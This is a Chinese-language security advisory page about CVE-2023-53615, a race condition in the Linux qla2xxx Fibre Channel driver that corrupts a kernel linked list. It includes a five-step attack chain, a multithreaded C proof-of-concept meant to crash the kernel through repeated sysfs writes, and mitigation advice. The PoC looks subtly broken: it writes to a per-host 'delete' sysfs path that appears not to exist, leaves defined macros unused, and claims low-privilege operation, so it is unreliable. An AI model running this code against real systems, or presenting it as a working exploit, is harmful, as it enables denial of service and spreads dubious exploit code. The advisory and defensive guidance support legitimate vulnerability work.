IPBUF安全漏洞报告
English
CVE-2023-53615 CVSS 4.7 中危

CVE-2023-53615 Linux内核qla2xxx驱动会话删除竞态条件漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53615
漏洞类型
竞态条件(Race Condition)
CVSS评分
4.7 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (qla2xxx SCSI驱动)

相关标签

Linux Kernelqla2xxx竞态条件Race ConditionSCSIFibre Channel本地提权拒绝服务DoS链表损坏

漏洞概述

CVE-2023-53615是Linux内核中qla2xxx SCSI驱动存在的一个竞态条件漏洞。该漏洞位于会话删除逻辑中,由于deleted标志的清除和设置操作未在正确的锁保护下进行,导致同一个会话对象可能在不同CPU上被重复排队删除,从而引发链表(link list)损坏。在调试内核(debug kernel)环境下,这种链表损坏会导致系统崩溃(kernel panic)。

qla2xxx是QLogic公司提供的光纤通道(FC)HBA驱动程序,广泛应用于企业级存储系统中,负责管理与存储区域网络(SAN)之间的通信。该驱动维护着与远程端口(port)对应的会话(session)数据结构,并在会话终止时将其加入删除队列进行清理。然而,由于缺乏适当的同步机制,删除操作可能在并发执行时出现竞争,导致同一个会话对象被多次加入删除队列。

该漏洞的CVSS评分为4.7,属于中危级别。攻击者需要本地低权限访问权限即可触发此漏洞,无需用户交互。虽然该漏洞不会直接导致机密性或完整性泄露,但其对系统可用性的影响为高,可能导致系统崩溃或服务中断,对依赖存储网络的企业环境构成潜在威胁。

该漏洞影响多个Linux内核稳定版本,官方已通过将deleted标志的清除/设置操作移入锁保护范围来修复此问题,并已发布相应的安全补丁。

技术细节

该漏洞的根本原因在于qla2xxx驱动中会话删除流程缺乏适当的锁同步机制。具体而言,当系统需要删除一个SCSI会话时,驱动会将对应的会话对象(session structure)调度到删除队列中等待处理。然而,由于deleted标志位的检查、清除和设置操作未被原子化保护,在多核CPU环境下,不同CPU核心可能同时检测到该会话需要删除并将其加入删除队列。

从内核追踪日志可以看出问题所在:同一个会话对象ffff93ebf9306800(对应端口50:06:0e:80:12:48:ff:50,fc4_type 1)几乎在同一时间被两次调度删除——一次发生在CPU 015,另一次发生在CPU 027。这种重复排队导致链表节点被多次引用或释放后再次被引用,最终造成链表结构损坏。

在调试内核中,内核会启用额外的内存检查和链表一致性验证机制,因此链表损坏会立即触发系统崩溃(BUG/BUG_ON或oops)。在生产内核中,这种损坏可能导致更隐蔽的问题,如内存泄漏、悬挂指针或延迟的系统不稳定。

漏洞利用方式相对有限:攻击者需要本地访问权限,并通过频繁触发会话创建和删除操作(如连接和断开光纤通道目标设备)来增加竞态条件触发的概率。由于需要低权限即可触发,该漏洞可被本地非特权用户用于拒绝服务攻击(DoS),导致系统崩溃。

修复方案是将deleted标志的清除和设置操作移入适当的锁保护范围内,确保对会话删除状态的检查和修改是原子操作,从而防止同一会话被多次排队删除。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者需要获得目标Linux系统的本地低权限访问权限。由于漏洞利用需要本地访问,此步骤是必要前提。攻击者可以通过合法账户、权限提升或其他方式获得shell访问。
STEP 2
步骤2:识别qla2xxx HBA设备
攻击者检查系统是否配备QLogic FC HBA设备,通过查看/sys/class/fc_host/目录确认目标主机编号。qla2xxx驱动管理的FC主机是触发漏洞的前提条件。
STEP 3
步骤3:并发触发会话创建与删除
攻击者启动多个线程同时执行FC会话创建(通过issue_lip或rescan操作)和删除(通过delete操作)操作,制造多CPU并发场景,增加竞态条件触发的概率。
STEP 4
步骤4:触发链表损坏
在并发操作过程中,deleted标志的检查-清除-设置序列被中断,导致同一会话对象被多次加入删除队列,引发内核链表结构损坏。
STEP 5
步骤5:系统崩溃/拒绝服务
链表损坏导致内核检测到不一致状态,在调试内核中立即触发kernel panic和系统崩溃,实现拒绝服务攻击效果。在生产内核中可能导致内存损坏或延迟崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* CVE-2023-53615 - qla2xxx Session Deletion Race Condition PoC * This PoC demonstrates how to trigger the race condition by repeatedly * creating and destroying FC sessions to force concurrent deletion attempts. * * Note: Requires access to qla2xxx HBA and ability to scan/remove FC targets. * Run as low-privileged user with appropriate FC host access permissions. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <pthread.h> #include <errno.h> #define FC_HOST_SYSFS "/sys/class/fc_host" #define SCSI_HOST_SCAN "/sys/class/scsi_host/host%d/scan" #define SCSI_HOST_DELETE "/sys/class/scsi_host/host%d/delete" #define MAX_THREADS 16 #define ITERATIONS 1000 static volatile int trigger_race = 1; void *trigger_session_creation(void *arg) { int host_id = *(int *)arg; char path[256]; while (trigger_race) { /* Force FC remote port rescan to create new sessions */ snprintf(path, sizeof(path), "/sys/class/fc_host/host%d/issue_lip", host_id); int fd = open(path, O_WRONLY); if (fd >= 0) { write(fd, "1", 1); close(fd); } usleep(100); } return NULL; } void *trigger_session_deletion(void *arg) { int host_id = *(int *)arg; char path[256]; while (trigger_race) { /* Delete SCSI targets to force session deletion */ snprintf(path, sizeof(path), "/sys/class/scsi_host/host%d/delete", host_id); int fd = open(path, O_WRONLY); if (fd >= 0) { write(fd, "1", 1); close(fd); } usleep(50); } return NULL; } int main(int argc, char *argv[]) { pthread_t threads[MAX_THREADS * 2]; int host_id = 0; int ret, i; if (argc > 1) { host_id = atoi(argv[1]); } printf("[+] CVE-2023-53615 PoC - qla2xxx Race Condition Trigger\n"); printf("[+] Target FC host ID: %d\n", host_id); printf("[+] Starting concurrent session create/delete threads...\n"); /* Spawn multiple threads to create race condition */ for (i = 0; i < MAX_THREADS; i++) { ret = pthread_create(&threads[i], NULL, trigger_session_creation, &host_id); if (ret != 0) { fprintf(stderr, "[-] Failed to create creation thread: %s\n", strerror(ret)); return 1; } ret = pthread_create(&threads[MAX_THREADS + i], NULL, trigger_session_deletion, &host_id); if (ret != 0) { fprintf(stderr, "[-] Failed to create deletion thread: %s\n", strerror(ret)); return 1; } } /* Let the race condition trigger */ sleep(ITERATIONS / 10); /* Stop threads */ trigger_race = 0; for (i = 0; i < MAX_THREADS * 2; i++) { pthread_join(threads[i], NULL); } printf("[+] Race condition trigger completed.\n"); printf("[+] Check dmesg for list corruption or kernel panic.\n"); return 0; }

影响范围

Linux Kernel < 4d7da12483e98c451a51bd294a3d3494f0aee5eb(修复提交前的版本)
Linux Kernel < 6dfe4344c168c6ca20fe7640649aacfcefcccb26(修复提交前的版本)
Linux Kernel < a4628a5b98e4c6d905e1f7638242612d7db7d9c2(修复提交前的版本)
Linux Kernel < b05017cb4ff75eea783583f3d400059507510ab1(修复提交前的版本)
Linux Kernel < cd06c45b326e44f0d21dc1b3fa23e71f46847e28(修复提交前的版本)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)限制本地非特权用户对FC主机sysfs接口的访问权限,通过文件权限或ACL控制/sys/class/fc_host/和/sys/class/scsi_host/目录的写入权限;2)使用Linux安全模块(如SELinux、AppArmor)限制进程对FC设备管理接口的访问;3)监控系统日志,及时发现异常会话创建/删除活动;4)避免在调试内核(debug kernel)上运行生产系统,以降低链表损坏导致立即崩溃的风险;5)减少不必要的FC拓扑变更操作,降低竞态条件触发概率。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表